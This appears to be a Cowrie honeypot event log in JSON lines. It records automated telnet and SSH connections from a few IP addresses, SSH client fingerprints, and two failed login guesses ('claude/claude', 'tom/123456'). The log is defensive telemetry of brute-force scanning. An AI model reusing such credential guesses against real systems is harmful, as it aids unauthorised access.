{"eventid":"cowrie.session.closed","duration":30.956544399261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:49.028113Z","src_ip":"108.61.242.114","session":"e3dc6e6b5ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"098794939d2c","protocol":"telnet","message":"New connection: 185.111.235.80:54174 (10.17.0.5:23) [session: 098794939d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:49.858538Z"}
{"eventid":"cowrie.session.closed","duration":30.985004425048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:49.951029Z","src_ip":"108.61.242.114","session":"1971c916c74f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82252287864685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:50.416049Z","src_ip":"185.111.235.80","session":"9e90c6cbb1e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708581686019897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:50.956107Z","src_ip":"185.111.235.80","session":"9b7c10e5f4ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778939247131348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:51.012987Z","src_ip":"185.111.235.80","session":"f988717ad678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0232355594635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:51.373877Z","src_ip":"185.111.235.80","session":"3a5d4549f0e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282511711120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:51.852322Z","src_ip":"185.111.235.80","session":"e2ff0a7845a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35598,"dst_ip":"10.17.0.5","dst_port":23,"session":"792589d55a3c","protocol":"telnet","message":"New connection: 185.111.235.80:35598 (10.17.0.5:23) [session: 792589d55a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:51.987052Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37268,"dst_ip":"10.17.0.5","dst_port":23,"session":"abcfcbd9fa39","protocol":"telnet","message":"New connection: 185.111.235.80:37268 (10.17.0.5:23) [session: abcfcbd9fa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:52.324207Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"41a511bfcd89","protocol":"telnet","message":"New connection: 185.111.235.80:37514 (10.17.0.5:23) [session: 41a511bfcd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:52.361658Z"}
{"eventid":"cowrie.session.closed","duration":30.55147409439087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.159511Z","src_ip":"108.61.242.114","session":"1a2d3657ca3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788522481918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.168952Z","src_ip":"108.61.242.114","session":"bda6391bec4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449137926101685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.206438Z","src_ip":"185.111.235.80","session":"61368e8ce0ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830535888671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.401746Z","src_ip":"117.120.7.112","session":"2b528d05c9a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53478,"dst_ip":"10.17.0.5","dst_port":22,"session":"771cc265817c","protocol":"ssh","message":"New connection: 176.65.139.103:53478 (10.17.0.5:22) [session: 771cc265817c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.573531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.580069Z","src_ip":"176.65.139.103","session":"771cc265817c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43212,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e5ebf981a2a","protocol":"telnet","message":"New connection: 185.111.235.80:43212 (10.17.0.5:23) [session: 5e5ebf981a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.629282Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.662956Z","src_ip":"176.65.139.103","session":"771cc265817c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:53.994926Z","src_ip":"176.65.139.103","session":"771cc265817c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66511607170105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.064948Z","src_ip":"185.111.235.80","session":"a778ea88adef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14528799057007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.271476Z","src_ip":"185.111.235.80","session":"71f336a10310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91987705230713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.359926Z","src_ip":"108.61.242.114","session":"673e8b8a1084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270150899887085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.516209Z","src_ip":"185.111.235.80","session":"10ba75cab202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48524,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ee83d6974c","protocol":"telnet","message":"New connection: 185.111.235.80:48524 (10.17.0.5:23) [session: 72ee83d6974c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.778507Z"}
{"eventid":"cowrie.session.closed","duration":30.784361362457275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.945379Z","src_ip":"185.111.235.80","session":"fd425fb3c621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.347010135650635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:54.952445Z","src_ip":"185.111.235.80","session":"f8377342d449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.079730Z","src_ip":"176.65.139.103","session":"771cc265817c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.949700593948364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.086148Z","src_ip":"185.111.235.80","session":"1efbb14db972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":55938,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f274a9e0de1","protocol":"telnet","message":"New connection: 108.61.242.114:55938 (10.17.0.5:23) [session: 9f274a9e0de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.485643Z"}
{"eventid":"cowrie.session.closed","duration":31.402761936187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.518939Z","src_ip":"108.61.242.114","session":"9fcb8ae10456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7597017288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.706254Z","src_ip":"108.61.242.114","session":"0d3f5fb74ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53382,"dst_ip":"10.17.0.5","dst_port":23,"session":"843b74d354be","protocol":"telnet","message":"New connection: 185.111.235.80:53382 (10.17.0.5:23) [session: 843b74d354be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.866867Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53652,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8200a08cbc8","protocol":"telnet","message":"New connection: 185.111.235.80:53652 (10.17.0.5:23) [session: b8200a08cbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.933893Z"}
{"eventid":"cowrie.session.closed","duration":30.659610271453857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:55.945122Z","src_ip":"185.111.235.80","session":"35f40d997969","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54852,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23a1283e8fc","protocol":"telnet","message":"New connection: 185.111.235.80:54852 (10.17.0.5:23) [session: a23a1283e8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.172865Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":55948,"dst_ip":"10.17.0.5","dst_port":23,"session":"415af374344c","protocol":"telnet","message":"New connection: 108.61.242.114:55948 (10.17.0.5:23) [session: 415af374344c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.357757Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":55964,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9100342c0f1","protocol":"telnet","message":"New connection: 108.61.242.114:55964 (10.17.0.5:23) [session: c9100342c0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.395742Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56418,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e10ec573302","protocol":"telnet","message":"New connection: 185.111.235.80:56418 (10.17.0.5:23) [session: 2e10ec573302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.473773Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56496,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc7734aa7fa","protocol":"telnet","message":"New connection: 185.111.235.80:56496 (10.17.0.5:23) [session: abc7734aa7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.487320Z"}
{"eventid":"cowrie.session.closed","duration":31.744793176651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.537266Z","src_ip":"185.111.235.80","session":"005ff94113a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.120039463043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:56.899359Z","src_ip":"185.111.235.80","session":"6e573ea0b592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":58926,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f900813270","protocol":"telnet","message":"New connection: 185.111.235.80:58926 (10.17.0.5:23) [session: 40f900813270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:57.062288Z"}
{"eventid":"cowrie.session.closed","duration":30.62136673927307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:57.356426Z","src_ip":"108.61.242.114","session":"442e0240326c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.617014169692993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:57.523138Z","src_ip":"108.61.242.114","session":"7632418882bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812721014022827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:57.880516Z","src_ip":"185.111.235.80","session":"7dfd504f7972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692142248153687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:57.918576Z","src_ip":"185.111.235.80","session":"994511e7da83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747424125671387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:57.933461Z","src_ip":"185.111.235.80","session":"e1cf396e7fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630751132965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:58.037789Z","src_ip":"108.61.242.114","session":"3b68584b7247","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.358434915542603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:58.045309Z","src_ip":"185.111.235.80","session":"20acb93138c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35488,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5943f05a8c","protocol":"telnet","message":"New connection: 185.111.235.80:35488 (10.17.0.5:23) [session: bf5943f05a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:58.112925Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36014,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f6caa05598","protocol":"telnet","message":"New connection: 185.111.235.80:36014 (10.17.0.5:23) [session: 76f6caa05598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:58.209760Z"}
{"eventid":"cowrie.session.closed","duration":31.16722559928894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:59.249964Z","src_ip":"108.61.242.114","session":"5d295e38b6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35142493247986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:59.471264Z","src_ip":"185.111.235.80","session":"ec884385d52c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45294,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a231ac9833","protocol":"telnet","message":"New connection: 108.61.242.114:45294 (10.17.0.5:23) [session: 14a231ac9833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:59.606796Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":45308,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a386718726","protocol":"telnet","message":"New connection: 108.61.242.114:45308 (10.17.0.5:23) [session: e0a386718726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.087917Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44288,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9988ec9b9b","protocol":"telnet","message":"New connection: 185.111.235.80:44288 (10.17.0.5:23) [session: db9988ec9b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.104430Z"}
{"eventid":"cowrie.session.closed","duration":30.8056960105896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.119075Z","src_ip":"108.61.242.114","session":"490962023a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944586277008057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.291561Z","src_ip":"185.111.235.80","session":"d1e2e2361de8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53488,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3c5225200e","protocol":"ssh","message":"New connection: 176.65.139.103:53488 (10.17.0.5:22) [session: 3a3c5225200e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.393144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.417036Z","src_ip":"176.65.139.103","session":"3a3c5225200e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.912894248962402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.465497Z","src_ip":"108.61.242.114","session":"60a53d226a9d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.522763Z","src_ip":"176.65.139.103","session":"3a3c5225200e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.776203Z","src_ip":"176.65.139.103","session":"3a3c5225200e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.90570640563965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.815062Z","src_ip":"185.111.235.80","session":"818b7ffe9b83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854188442230225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.899814Z","src_ip":"185.111.235.80","session":"055f9d2a89dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727653980255127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.940918Z","src_ip":"185.111.235.80","session":"b8d486f9ee3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.449369192123413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.944975Z","src_ip":"185.111.235.80","session":"e585e898d75b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49066948890686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.970257Z","src_ip":"185.111.235.80","session":"f6a2f3e669de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519655466079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:00.975022Z","src_ip":"185.111.235.80","session":"5e0ff818d5e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49857,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6fde513842","protocol":"telnet","message":"New connection: 185.111.235.80:49857 (10.17.0.5:23) [session: 5c6fde513842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:01.304575Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:01.876382Z","src_ip":"176.65.139.103","session":"3a3c5225200e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10230541229248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:02.106600Z","src_ip":"108.61.242.114","session":"92bbdd2e890b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29584550857544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:02.125345Z","src_ip":"108.61.242.114","session":"f91de7a05448","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166088342666626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:02.285449Z","src_ip":"108.61.242.114","session":"e3a7ab645ca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38625407218933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:29:02.703309Z","src_ip":"185.111.235.80","session":"0644eb1d58c8","protocol":"telnet"}
